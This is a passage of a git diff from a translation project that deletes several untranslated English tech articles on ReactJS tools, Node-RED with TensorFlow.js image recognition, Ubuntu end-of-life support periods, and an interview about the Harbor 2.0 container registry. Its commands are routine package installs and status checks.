maintains). It uses JavaScript for development and simple state machine components that render dynamic content with ease. - -Because ReactJS is one of the most powerful frontend JavaScript libraries available, you should learn how to use it if you want to build amazing applications. It's a driving force behind the interfaces of Amazon, PayPal, BBC, CNN, and many other tech giants. Furthermore, the flexible library suits any need and can be plugged into your favorite tech stack to build lightweight apps. You can [use React][2] to build anything scalable—data dashboards, messaging apps, social networking applications, single-page applications, and even personal blog sites. - -One of the most effective ways to get the hang of React is by using its tools to build web apps for real-world projects. Not only will it help you learn the framework and tools, but it also gives you something to show off to prospective employers. - -### 1\. npm - -If you want to get started with JavaScript (including the React library), you need to install Node package manager ([npm][3]). Like the package manager that ships with your Linux distribution (or [Chocolatey][4] on Windows or [Homebrew][5] on macOS), npm provides a command to query a software repository and install what you need. This includes important libraries, like ReactJS components. - -You can probably install Node.js (and npm along with it) from your Linux distribution's repository. On Fedora or Red Hat Enterprise Linux: - - -``` -`$ sudo dnf install nodejs` -``` - -On Ubuntu or Debian: - - -``` -`$ sudo apt install nodejs npm` -``` - -If your distribution doesn't offer npm in its repo, visit [Nodejs.org][6] to find out how to install Node.js and npm. - -### 2\. Create React App - -[Create React App][7] is a boilerplate project for getting started with React. Before Facebook released Create React App, setting up a working project in React was a tedious task. But with this tool, you can set up a frontend build pipeline, project structure, developer environment, and app optimization for production in seconds with zero configuration. You can achieve all this with a single command. What's more, if you need a more advanced configuration, you can "eject" from Create React App and edit its config files directly. - -Create React App is open source under the MIT License, and you can access its [source code][8] in its GitHub repo. - -Install it with: - - -``` -npm start -npm init react-app my-app -``` - -If you don't want to use Create React App, other boilerplate options are [React Boilerplate][9] and [React Slingshot][10]. Both are well-maintained and open source under the MIT License. - -### 3\. React Sight - -[React Sight][11] is a commonly used visualization tool that provides a live component hierarchy tree (like a flowchart) of your entire app. It can be added directly as a Chrome extension and needs React dev tools for reading information about your app. With its rich interface, you can even add filters to focus on the components you need to interact with the most. By hovering on the nodes, you can display the current state and props. React Sight is very helpful for debugging a large and complex project. - -React Sight is open source under the MIT License, and you can access its [source code][12] in its GitHub repo. Install React Sight from the [Chrome web store][13]. - -### 4\. React Belle - -[React Belle][14] is a configurable React component library containing reusable components like Toggle, Rating, DatePicker, Button, Card, Select, and others to provide a smooth user experience. The components are customizable and support [ARIA][15] accessibility standards. It offers different themes, like the popular Belle and Bootstrap. - -Belle is open source under the MIT License, and you can access its [source code][16] in its GitHub repo. - -Install it with: - - -``` -`npm install belle` -``` - -### 5\. Evergreen - -Built on top of the React UI primitive, [Evergreen][17] is a UI framework that contains highly polished components that you can use to build your project. One thing that developers like about this tool is its hassle-free import of components. - -Evergreen is open source under the MIT License, and you can access its [source code][18] in its GitHub repo. - -Install it with: - - -``` -`npm install --save evergreen-ui` -``` - -### 6\. Bit - -[Bit][19] offers an online platform and command-line tool for publishing and sharing React apps. It is one of the best options if you are creating and sharing components. Its marketplace is a store where people can publish their React apps and other people can search for the components they need, so they don't have to reinvent the wheel every time they need a new React app. Bit's core features include: - - * Allows code reuse - * Increases design and development efficiency - * Retains UI and UX consistency - * Increases a project's stability - - - -Bit is open source under the Apache 2.0 License, and you can access its [source code][20] in its GitHub repo. - -Install it with: - - -``` -`$ npm install bit-bin --global` -``` - -### 7\. Storybook - -[Storybook][21] lets you set up a live development server that supports hot reloading, so you can create components in isolation from your whole project. It helps with component reuse, testability, and development speed. It also offers an online UI editor that allows you to develop, inspect, and eventually showcase your creations interactively. - -What's more, Storybook's API offers myriad features and facilitates configuration like no other. It is used in production by companies like Coursera, Squarespace, and Lonely Planet. - -Storybook is open source under the MIT License, and you can access its [source code][22] in its GitHub repo. - -First, install Storybook using the following commands (note that one uses an npx command, which is related to npm but unique):  - - -``` -`$ cd my-react-app`[/code] [code]`$ npx -p @storybook/cli sb init` -``` - -Next, run it with: - - -``` -`$ npm run storybook` -``` - -### 8\. Formik - -[Formik][23] helps in creating and validating forms for debugging, testing, and reasoning in React. It allows you to generate dynamic forms, so you don't have to manually change or update the state and props of form components. It is a step towards a faster and more pleasant development experience. - -Formik is open source under the MIT License, and you can access its [source code][24] in its GitHub repo. - -Install it with: - - -``` -`$ npm install formik --save` -``` - -### 9\. Immer - -[Immer][25] is a JavaScript library that enables you to modify nested objects without fear of mutating them. Its purpose is to make immutability in your code simple. - -Here are some of Immer's top features: - - * **Immer is strongly typed**: It is useful when your state object has a type. - * **Immer reduces boilerplate code**: Most state management tools require you to write a lot of boilerplate code. Immer is different. It lets you write less (and more concise) code. - * **Immer allows you to use JS data structures:** You can produce immutable states in Immer by using basic JS data structures. - - - -Immer is open source under the MIT License, and you can access its [source code][26] in its GitHub repo. - -Install it with: - - -``` -`$ npm install immer` -``` - -### 10\. React Proto - -[React Proto][27] is an application prototyping tool for developers and designers. It helps you layout your project structure to make decisions in advance, so you don't waste time making changes later in development. This tool specifically helps people who prefer design over coding; for example, you can drag and drop elements instead of writing them. The tool helps you mark all potential components and give them names, properties, and a hierarchy for prototyping. - -React Proto is open source under the MIT License, and you can access its [source code][28] in its GitHub repo. - -To install it, first, fork the [repository][28]. Next, install dependencies with: - - -``` -`$ npm install` -``` - -Run the application with: - - -``` -`$ npm start` -``` - -To start a development environment, run: - - -``` -`$ npm run dev` -``` - -### Boost your career with ReactJS tools - -There's no shortage of resources for JavaScript. To learn more about the frameworks I've mentioned in this article, plus many more, check out the [Awesome React][29] repository on GitHub, a list of awesome things related to React. - -By learning these 10 must-have tools, you'll boost your productivity and your résumé, and more importantly, you'll have a good grasp on JavaScript-based web development. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/reactjs-tools - -作者:[Prayaag Kasundra][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/prayaag-kasundra -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_3.png?itok=qw2A18BM (Woman sitting in front of her computer) -[2]: https://www.simform.com/why-use-react/ -[3]: https://www.npmjs.com/ -[4]: https://opensource.com/article/20/3/chocolatey -[5]: https://opensource.com/article/20/6/homebrew-mac -[6]: https://nodejs.org/en/download/package-manager/ -[7]: https://facebook.github.io/create-react-app/ -[8]: https://github.com/facebook/create-react-app -[9]: http://www.reactboilerplate.com/ -[10]: https://github.com/coryhouse/react-slingshot -[11]: http://www.reactsight.com/ -[12]: https://github.com/React-Sight/React-Sight -[13]: https://chrome.google.com/webstore/detail/react-sight/aalppolilappfakpmdfdkpppdnhpgifn -[14]: http://nikgraf.github.io/belle/ -[15]: https://en.wikipedia.org/wiki/WAI-ARIA -[16]: https://github.com/nikgraf/belle -[17]: https://evergreen.segment.com/ -[18]: https://github.com/segmentio/evergreen -[19]: https://github.com/teambit/bit -[20]: https://github.com/teambit/bit/blob/master/LICENSE -[21]: https://storybook.js.org/ -[22]: https://github.com/storybookjs/storybook -[23]: https://jaredpalmer.com/formik/ -[24]: https://github.com/jaredpalmer/formik -[25]: https://immerjs.github.io/immer/docs/introduction -[26]: https://github.com/immerjs/immer -[27]: https://react-proto.github.io/react-proto/ -[28]: https://github.com/React-Proto/react-proto -[29]: https://github.com/enaqx/awesome-react diff --git a/sources/tech/20200630 Using TensorFlow.js and Node-RED with image recognition applications.md b/sources/tech/20200630 Using TensorFlow.js and Node-RED with image recognition applications.md deleted file mode 100644 index cfec3f434b..0000000000 --- a/sources/tech/20200630 Using TensorFlow.js and Node-RED with image recognition applications.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using TensorFlow.js and Node-RED with image recognition applications) -[#]: via: (https://www.linux.com/news/using-tensorflow-js-and-node-red-with-image-recognition-applications/) -[#]: author: (Linux.com Editorial Staff https://www.linux.com/author/kazuhito-yokoi/) - -Using TensorFlow.js and Node-RED with image recognition applications -====== - -_This Linux Foundation Platinum Sponsor-Contributed article from [Hitachi][1] is about how to use **TensorFlow.js** and **Node-RED** for use with image recognition applications._ - -### Using TensorFlow.js and Node-RED - -TensorFlow.js is a JavaScript implementation of the [TensorFlow open source machine learning platform][2]. By using **TensorFlow.js**, learning and inference processing can be executed in real-time on the browser or the server-side with Node.js. [Node-RED][3] is a visual programming tool mainly developed for IoT applications.  - -According to [a recent InfoQ article on 2020 JavaScript web development trends][4], **TensorFlow.js** is classified as “Early Majority”, and **Node-RED** is classified as “Early Adopters” in their adoption cycles. And they are becoming increasingly popular with open source software developers. - -![Image: InfoQ][5] - -In this article, we’ll take a look at what you can do with these two trending open source software tools in combination. - -### Creating a sample image recognition flow with Node-RED - -Our objective will be to create a flow within **Node-RED** to recognize an object in an image, as depicted in the screenshot below. - -![Flow to be created in Node-RED][6] - -This flow can be observed after you upload a file from a browser using the yellow node component. The bottom left of the user interface displays the uploaded image in the “Original image” node. In the orange “Image recognition” node, the **TensorFlow.js** trained model is used to run Analyze for what is in the uploaded image (an aircraft). Finally, we will use the green “Output result” node in the upper right corner to output what is seen in the debug tab on the right. Additionally, an image annotated with an orange square under the [Image with annotation] node is displayed, and it’s easy to see what part of the image has been recognized. - -In the following sections, we will explain the steps for creating this flow. For this demo, Node-RED can run in the local environment (in this case, a Raspberry Pi) and also in a cloud environment — it will work regardless of platform choice. For our tests, Google Chrome was chosen for use with the Node-RED web user interface. - -### Installing a TensorFlow.js node - -The **Node-RED** flow library has several TensorFlow.js-enabled nodes. One of these is [node-red-contrib-tensorflow][7], which contains the trained models.  - -We’ll begin with installing the **TensorFlow.js** node in **Node-RED**. To install the node, go to the top-right menu of the flow editor. Click **“Manage Palette”** -> Go to **“Palette”** tab -> Select **“Install”** tab. After that, enter “**node-red-contrib-tensorflow”** in the search keyword field.  - -![Installing a TensorFlow.js node][8] - -As shown in the image above, the TensorFlow.js node to be used is displayed in the search results. Click the “install” button to install the TensorFlow.js node. Once the installation is complete, orange **TensorFlow.js** nodes will appear in the Analysis category of the left side palette.  - -![Analysis palette][9] - -Each **TensorFlow.js** node is described in the following table. These are all image recognition nodes, but they can also generate image data with annotation and perform other functions like image recognition, or offline, which is necessary for edge analytics. - -**#** | **Name** | **Description** | **Annotated Image** | **Offline Use** ----|---|---|---|--- -1 | cocossd | A node that returns the name of the object in the image | YES | MAY -2 | handpose | A node that estimates the positions of fingers and joints from a hand image | NONE | CAN’T -3 | mobilenet | A node that returns the name of the object in the image | NONE | MAY -4 | posenet | A node that estimates the positions of arms, head, and legs from the image of a person | YES | MAY - -  - -In addition, the following nodes, which are required to work with image data in Node-RED, should be installed in the same way. - -– **node-red-contrib-browser-utils**: A node that uploads image files and audio files from the flow editor - -– **node-red-contrib-image-output**: A node that displays an image on the flow editor - -After installing **node-red-contrib-browser-utils**, you should see the file-inject node, microphone node, and camera node in the input category. Also, once you have installed **node-red-contrib-image-output**, you should see the image node in the output category. - -### Creating a flow - -Now that we have the necessary nodes let’s create the flow. - -From the palette on the right, place a yellow file inject node, an orange **cocossd** node, and a green debug node (which will be renamed to **msg.payload** when placed in the workspace) and connect the ports of each node with “wires”. - -To check the image data flowing through the wire, place two image nodes (named image preview when placed on the workspace) under the flow. To output the image data from the file inject node and debug node respectively, connect to the output port, as shown in the illustration. - -![Completed Node-RED flow][10] - -Only the image preview node on the right side specifies the image data variables to be displayed, so it is necessary to change the node settings. To change the settings, double-click the image preview node to open the node properties screen. On the node property screen, the image data stored in **msg.payload** is displayed by default. By changing this to **msg.annotatedInput** as shown in the screenshot below, the image preview node will display the annotated image. - -![Image properties][11] - -Give each node an appropriate name, press the red deploy button on the upper right, and then click the button on the left side of the file inject node to upload the sample image file of the airport from your PC. - -![The recognized object in Node-RED][6] - -As shown, an image with orange annotation on the aircraft is displayed under the “Image with annotation” node. Also, you can see that the debug tab on the right side correctly displayed “airplane”.  - -Feel free to try this with images you have at your disposal and experiment with them to see if they can be recognized correctly. - -*About the author: Kazuhito Yokoi is an Engineer at Hitachi’s OSS Solution Center, located in Yokohama, Japan. * - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/using-tensorflow-js-and-node-red-with-image-recognition-applications/ - -作者:[Linux.com Editorial Staff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/kazuhito-yokoi/ -[b]: https://github.com/lujun9972 -[1]: http://www.hitachi.co.jp/ -[2]: https://www.tensorflow.org/overview -[3]: https://nodered.org/ -[4]: https://www.infoq.com/articles/javascript-web-development-trends-2020/ -[5]: https://www.linux.com/wp-content/uploads/2020/06/image1_infoq.jpg -[6]: https://www.linux.com/wp-content/uploads/2020/06/image2_flow.png -[7]: https://flows.nodered.org/node/node-red-contrib-tensorflow -[8]: https://www.linux.com/wp-content/uploads/2020/06/image3_installation.png -[9]: https://www.linux.com/wp-content/uploads/2020/06/image4_palette.png -[10]: https://www.linux.com/wp-content/uploads/2020/06/image5_flow.png -[11]: https://www.linux.com/wp-content/uploads/2020/06/image6_property.png diff --git a/sources/tech/20200630 What is End of Life in Ubuntu- Everything You Should Know About it.md b/sources/tech/20200630 What is End of Life in Ubuntu- Everything You Should Know About it.md deleted file mode 100644 index c3d67f5827..0000000000 --- a/sources/tech/20200630 What is End of Life in Ubuntu- Everything You Should Know About it.md +++ /dev/null @@ -1,182 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What is End of Life in Ubuntu? Everything You Should Know About it) -[#]: via: (https://itsfoss.com/end-of-life-ubuntu/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -What is End of Life in Ubuntu? Everything You Should Know About it -====== - -If you have been following It’s FOSS for some time, you might have noticed that I publish news articles like Ubuntu XYZ version has reached end of life (EoL). - -This end of life is one of those essential concepts that every Ubuntu user should be aware of. - -This is why I decided to write this detailed guide to explain what does an Ubuntu release reaching end of life means, why it matters to you and how to check when your Ubuntu install has reaches end of life. - -### What is end of life in Ubuntu? - -![][1] - -First thing first, end of life is not really an Ubuntu-specific concept. It is a generic term widely used in the software industry. - -The end of life of a software means the software has reached the end of its predefined support period. Beyond this date, the software won’t get any feature, maintenance or security updates. - -You may continue using the software past its end of life date but at your own risk. If there are security vulnerability, your system and data will be at risk. - -Compare it to the use by date or the expiry date on a food item. You may consume the yogurt one day after its use by date but can you eat it after a week or a month? - -#### Why end of life? - -Software is not a living being then why they have an end of life? Why doesn’t Ubuntu just keep on supporting one version forever? - -It is to maintain a balance between stability and features. You want new features in your system but you don’t want it to break your system. Software compatibility is complex and testing takes time. - -So what Ubuntu does is to give you a release and takes the responsibility of maintaining it by providing security and other updates for a certain time period. - -Ubuntu team and volunteers also work on the new release in parallel to add new features to the future release. - -#### Support life cycle of Ubuntu releases - -Ubuntu has two new version releases every year. These releases can be categorized into: - - * Regular release with 9 months of support period - * Long-term support (LTS) release with 5 years of support period - - - -A new LTS version is released every two years while the regular releases come every six months. - -This table should give you a better understanding: - -Ubuntu Version | Release | End of Life ----|---|--- -Ubuntu 18.04 (LTS) | April, 2018 | April, 2023 (5 years) -Ubuntu 18.10 | October, 2018 | July, 2019 (9 months) -Ubuntu 19.04 | April, 2019 | January, 2020 (9 months) -Ubuntu 19.10 | October, 2019 | July, 2020 (9 months) -Ubuntu 20.04 (LTS) | April, 2020 | April, 2025 (5 years) -Ubuntu 20.10 | October, 2020 | July, 2021 (9 months) - -The long-term support release focus on providing stability for a longer period. You probably know that Linux distributions like Ubuntu are also responsible for providing applications to you. These distributions have thousands of applications/packages in their repositories. - -The LTS versions often hold on to software versions as they cannot test every new version of so many software in the five years of support period. - -When Ubuntu releases a new LTS version, it also updates a number of software to a newer version. For example, Ubuntu 18.04 LTS has PHP 7.2 whereas Ubuntu 20.04 LTS has PHP 7.4 available. - -The regular release are short-live, but they bring new features (like newer versions of software like file managers, desktop environments, newer kernels etc). - -Personally, I think of these regular releases as a stepping platform for the next LTS releases. For examples, the features introduced in Ubuntu 18.10, 19.04, 19.10 will eventually be added in Ubuntu 20.04 (but not in 18.04). - -#### How to check how long your Ubuntu system will be supported? - -The simplest way to check the end of life support in Ubuntu is using this command in the terminal: - -``` -hwe-support-status --verbose -``` - -It will show an output that mentions the support period of your Ubuntu version. - -``` -You are not running a system with a Hardware Enablement Stack. Your system is supported until April 2025. -``` - -The [Hardware Enablement Stack in Ubuntu][2] allows you to receive the latest generic Linux kernel supported by Ubuntu. The important part is the support status date. - -If you want a detailed overview of how many software packages you have got and how long those packages will be supported, you can use the ubuntu-security-status command: - -``` -ubuntu-security-status -``` - -**In older versions of Ubuntu, the same command is known as ubuntu-support-status.** For both commands, the output is nearly identical: - -``` -[email protected]:~$ ubuntu-security-status -2242 packages installed, of which: -1695 receive package updates with LTS until 4/2025 - 510 could receive security updates with ESM Apps until 4/2030 - 30 packages are from third parties - 7 packages are no longer available for download - -Packages from third parties are not provided by the official Ubuntu -archive, for example packages from Personal Package Archives in -Launchpad. -For more information on the packages, run 'ubuntu-security-status ---thirdparty'. - -Packages that are not available for download may be left over from a -previous release of Ubuntu, may have been installed directly from a -.deb file, or are from a source which has been disabled. -For more information on the packages, run 'ubuntu-security-status ---unavailable'. - -Enable Extended Security Maintenance (ESM Apps) to get 0 security -updates (so far) and enable coverage of 510 packages. - -This machine is not attached to an Ubuntu Advantage subscription. -See https://ubuntu.com/advantage -``` - -As you can see in the above output, my system will majorly get supported till April 2025. Ubuntu can provide maintenance support for 510 packages till April 2030 but you’ll have to purchase the ESM. - -The ESM is more useful to mission-critical business infrastructure where upgrading to a newer version of the OS will impact the business. For desktop users, upgrading to a newer version is easier and more sensible thing to do. - -#### What happens when your Ubuntu install reaches end of life? What if you continue using Ubuntu even after its end of life? - -When your Ubuntu install reaches end of life, it stops getting system updates including any security updates. There won’t be updates for installed software as well. - -Without the security updates your system will become vulnerable to hacking attacks (if you connect to internet). Suppose a vulnerability gets discovered in one of the software you use or even in Linux kernel. You don’t get the update so this vulnerability is not patched and some malicious hackers take advantage of it to steal your data. - -Eventually, you’ll not be able to use the Ubuntu repositories. If you try to install a new application, you’ll see ‘[unable to locate package error][3]‘. - -So, basically, you won’t be able to install new software and your system will be at risk. Not a pretty scenario. - -The worst part is that if you wait way too long, you won’t be able to upgrade to the newer version. For example, a system running 17.04 can no longer update to 17.10 because even 17.10 is not supported anymore. A [fresh new Ubuntu installation][4] is the only suggested option in such case. - -#### What should you do when your Ubuntu install reaches end of life? - -Ubuntu doesn’t just abandon you after your system reaches end of life. It notifies you either in terminal or on the desktop that your system is no longer supported. - -![Ubuntu No Longer Supported][5] - -It even provides a mechanism to [upgrade your current Ubuntu version to the newer version][6]. Most of the software you have currently installed and your pictures, videos and other documents remain as it is. Making a backup of your important data on an external disk is still recommended. - -![Upgrade to Ubuntu 20.04 From 18.04][7] - -The rule of thumb is: - - * if you are using an LTS release, you should upgrade when the next LTS version is available. - * if you are using a regular release, you should upgrade whenever the next version is available. - - - -#### Still confused? - -I wrote this article because this is one of the most common confusion for It’s FOSS readers. I hope it clears the air and you have a better understanding of Ubuntu release cycle. - -If you still have doubts, please feel free to ask your question in the comment section. I’ll be happy to answer your queries. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/end-of-life-ubuntu/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/end-of-life-ubuntu.png?ssl=1 -[2]: https://itsfoss.com/ubuntu-hwe-kernel/ -[3]: https://itsfoss.com/unable-to-locate-package-error-ubuntu/ -[4]: https://itsfoss.com/install-ubuntu/ -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/ubuntu-no-longer-supported.png?ssl=1 -[6]: https://itsfoss.com/upgrade-ubuntu-version/ -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/upgrade-ubuntu-20-04-from-18-04.jpg?ssl=1 diff --git a/sources/tech/20200630 What-s New in Harbor 2.0.md b/sources/tech/20200630 What-s New in Harbor 2.0.md deleted file mode 100644 index d978a72d48..0000000000 --- a/sources/tech/20200630 What-s New in Harbor 2.0.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What’s New in Harbor 2.0) -[#]: via: (https://www.linux.com/audience/developers/whats-new-in-harbor-2-0/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -What’s New in Harbor 2.0 -====== - -[Harbor][1] is an open-source cloud native registry project that stores, signs, and scans content. Harbor was created by a team of engineers at VMware China. The project was contributed to CNCF for wider adoption and contribution. Recently the project announced its 2.0 release. [Swapnil Bhartiya, the founder of TFiR.io][2], sat down with Michael Michael, Harbor maintainer and VMware’s Director of Product Management, to talk about Harbor, community and the latest release. - -Here is a lightly edited transcript of the interview: - -**Swapnil Bhartiya: Let’s assume that you and I are stuck in an elevator and I suddenly ask you, “What is Harbor?” So please, explain what it is.** -Michael Michael: Hopefully you’re not stuck in the elevator for long; but Harbor essentially is an open source cloud-native registry. Think of this as a repository where you can store and serve all of your cloud-native assets, your container images, your Helm charts, and everything else you need to basically build cloud native applications. And then some putting posts on top of that, some very good policy engines that allow you to enforce compliance, make sure your images that you’re serving are free from vulnerabilities and making sure that you have all the guardrails in place so an operator can manage this registry and delivery it to his developers in a self-service way. - -**Swapnil Bhartiya: Harbor came out of VMware China. So I’m also curious that what was the problem that the team saw at that point? Because there were a lot of projects that were doing something similar, that you saw unique that Harbor was created?** -Michael Michael: So essentially the need there was, there wasn’t really a good way for an enterprise to have a hosted registry that has all of the enterprise capabilities they were looking for, while at the same time being able to have full control over the registry. Like a lot of the cloud providers have their own registry implementation, there’s Docker Hub out there, or you can go and purchase something at a very expensive price point. But if you’re looking for an open source solution that gives you end to end registered capabilities, like your developers can push images and pull images, and then your operators can go and put a policy that says, Hey, I want to allow this development team to create a project, but not using more than a terabyte of storage. None of those solutions had that, so there was a need, a business need here to develop a registry. And on top of that, we realized that it wasn’t just us that had the same need, there was a lot of users and enterprises out there in the cloud native ecosystem. - -**Swapnil Bhartiya: The project has been out for a while and based on what you just told me, I’m curious what kind of community the product has built around itself and how the project has evolved? Because we will also talk about the new release version 2.0 but before that, I want to talk about the volitional project and the community around it.** -Michael Michael: Project has evolved fairly well over the years we have increased our contributors. The contribution statistics are that CNCF is creating are showing that we’re growing our community. We now have maintainers in the project from multiple organizations and there are actually three organizations that have more than one maintainer on the project. So it’s kind of showing you that they’re, the ecosystem has picked up. We are adding more and more functionality into Harbor, and we’re also making Harbor pluggable. So there are areas of Harbor where we’re saying, Hey, here’s the default experience with Harbor, but if you want to extend the experience based on the needs of your users go ahead and do that and here’s an easy way to implement an interface and do that. That has really increased the popularity of Harbor. That means two things, we can give you a batteries-included version of Harbor from the community and then we’ll give you the option to extend that to fit the needs of your organization. - -And more importantly, if you have made investments in other tooling, you can plug and play Harbor in that. When I say other tooling, I mean, things like CI/CD systems, those systems are primarily driving the development life cycle. So for example, you go from source code to container image to something that’s stored in a registry like Harbor. The engine that drives the pipeline, that workflow in a lot of ways is a CI/CD engine. So how do you integrate Harbor well with such systems? We’ve made that a reality now and that has made Harbor easier to put in an organization and get it adopted with existing standards and existing investments. - -**Swapnil Bhartiya: Now let’s talk about the recently announced 2.0. Talk about some of the core features, functionalities that you are excited about in this release.** -Michael Michael: Absolutely, there’s like three or four features that really, really excite me. A long time coming is the support for OCI. The OCI is the Open Container Initiative and essentially it’s creating a standardized way to describe what an image looks like. And we in Harbor 2.0 we are able to announce that we have full OCI supporting Harbor. What does that mean for users? In previous releases of Harbor you could only put into Harbor two types of artifacts; a container image and a Helm chart. It satisfies a huge number of the use cases for customers, but it’s not enough in this new cloud native ecosystem, there are additional things that as a developer, as an operator, as a Kubernetes administrator, you might want to push into a repository like Harbor and have them also adopt a lot of the policy engine that Harbor provides. - -Give you a few examples, single bundles, the cloud native application, a bundle. You could have OPA files, you could have singularity and other OCI compliant files. So now Harbor tells you that, Hey, you have any file type out there? If it’s OCI compliant, you can push it to Harbor, you can pull it from Harbor. And then you can add things like coders and retention policies and immutability policies and replication policies on top of that. The thing about that now, just by adding a few more types of supported artifacts into Harbor, those types immediately get to use the full benefit of Harbor in terms of our entire policy engine and the compliance that do offer to administrators of Harbor. - -**Swapnil Bhartiya: What does OCI compliance mean for users? Because by being compliant, you have to be more strict about what you can and cannot do. So can you talk about that? And also how does that also affect the existing users, should they have to worry about something or it doesn’t really matter?** - -Michael Michael: Existing users shouldn’t have to worry about this, there’s fully backward compatibility that can still push their container images, which are OCI compliant. And if you’re using a Helm Chart before, you can still push it into Charts Museum, which is a key component of Harbor, but you can now also put a Helm Chart as an OCI file. So for existing users, not much difference, backward compatibility, we still support them. The users are brothers here, we’re not going to forget them. But what it means now is actually, it’s not more strict this is a lot more open. If you’re developing artifacts that are OCI compliant and they’re following the standard way of describing an image and a standard way of actually executing an image at run time; now Kubernetes is also OCI compliant at the run time. Then you’re getting the benefits of both worlds. You get Harbor as the repository where you can store your images and you also get a run time engine that’s OCI compliant that could potentially execute them. The really great benefit here for the users. - -A couple of other features that Harbor 2.0 Brings are super, super exciting. The first one is the introduction of Trivy by Aqua Security, as the batteries included built-in scanner in Harbor. Previously, we use Claire as our built-in scanner and with the release of Harbor called 1.10 that came out in December 2019, we introduced what we call a pluggable framework, think of this as a way that security vendors like Aqua and Encore can come in and create their own implementation of a security scanner to do static analysis on top of images that are deployed in Harbor. - -So we still included Claire as a built-in scanner and then we added additional extension points. Now we actually liked Trivy that much our community and our users love Trivy it’s the ability to enforce and to study analysis on top of multiple operating systems on top of multiple application managers, it’s very well aligned with the vision that you have from a security standpoint in Harbor. And now we added Trivy as the built-in scanner in Harbor, we ship with it now. A great, great achievement and kudos to the Aqua team for delivering Trivy as an open source project. - -**Swapnil Bhartiya: That’s the question I was going to ask, but I, once again, I’ll ask the same thing again, that, what does it mean for users who were using Claire?** -Michael Michael: If you’re using Claire before and you want to continue using Claire, by all means, we’re going to continue updating Claire, Claire is already included in Harbor. There’s no changes in the experience. However, if you’re thinking that Trivy is a better scanner for you, and by the way, you can use them side by side so you can compare the scanning results from each scanner. And if Trivy is a better option for you, we enabled you to make that choice. Now the way Harbor works is that you have a concept of multitenancy and we isolate a lot of the settings and the policy in the organization of images and on a per-project basis. So what does that mean? You can actually go into Harbor and you can define a project and you can say for this project I want Claire to be the built-in scanner. - -And then Claire will scan all your projects in that, all the files in that project. And you can use a second project and say, well, I now want Trivy to be the scanner for this project. And then Trivy of you will scan your images. And if you have the same set of images, you can compare them and see which scanner works best based on your needs as an organization and as a user. This phenomenal, right? To give users choice and we give them all the data, but ultimately they have to make the decision on what is the best scanner for them to use based on their scenarios, the type of application images and containers that they use and the type of libraries in they use those containers. - -**Swapnil Bhartiya: Excellent. Before we wrap this up, what kind of roadmap you have for Harbor, of course, it’s an open source project. So there’s no such thing as when the 2.0 release is coming out. But when we look at 2020, what are the major challenges that you want to address? What are the problems you want to solve and what does the basic roadmap look like?** -Michael Michael:  Absolutely, I think that one of the things that we’ve been trying to do as a maintainer team for Harbor is to kind of create some themes around the release is kind of put a blueprint down in terms of what is it that we’re trying to achieve? And then identify the features that make sense in that theme. And we’re not coming up with this from a vacuum, we’re talking to users, we’re talking to other companies where we have KubeCon events in the past where we had presentations and individuals came to us asking us sets of questions. We have existing users that give us feedback. When we gather all of that, one of the things that we came up with as the next thing for our release is what you call image distribution. So we have three key features that we’re trying to tackle in that area. - -The first one is how can Harbor act as a proxy cache? To enable organizations that are either deploying Kubernetes environments at the edge and they want a local Harbor instance to proxy or mirror images from the mothership like your main data center and where networking is at the premium. Maybe some of the Kubernetes nodes are not even connected to the network and they want to be a support to pull images from Harbor and then Harbor pulls the images from the upstream data center. Very, very important feature. Continuing down the path of image distribution. We’re integrating Harbor with both Dragonfly by Alibaba and Project Kraken by Uber to facilitate peer to peer distribution mechanisms for your container images. So how can we efficiently distribute images at the edge in multiple data centers in branch offices that don’t have a good network or thick network pipe between them? And how can Harbor make sure that the right images land at the right place? Big, big features that we’re trying to work with the community. And obviously we’re not doing this alone, we’re working with both Kraken and the Dragonfly communities to achieve that. - -And last, the next feature that we have is what you call garbage collection without downtime. Traditionally, we do garbage collection and this is kind of the process where you get to reclaim some of the files and layers of, basically container images that are no longer in use. - -Think of an organization that pushes and pulls thousands of images every day; they re-tag them, they create new versions. Sometimes you end up with layers that are no longer used, in order for those layers to be reclaimed at the storage and by the system, their registry in needs to be locked down as in nobody can be pulling or pushing images to it. In Harbor 2.0 we actually made a significant advancement where we track all the layers and the metadata of images in our database rather than depending on another tool or product to do it. So now this actually paves a road so that in the future, we could actually do garbage collection with zero downtime where Harbor can identify all the layers that are no longer in use, go reclaim them. And then that will have zero adverse impact or downtime to the users are pushing and pulling content. Huge, huge features and that’s the things that we’re working on in the future. - -**Swapnil Bhartiya: Awesome, thank you Michael for explaining things in detail and talking about Harbor. I look forward to talk to you again. Thank you.** -Michael Michael: Absolutely. Thank you so much for the 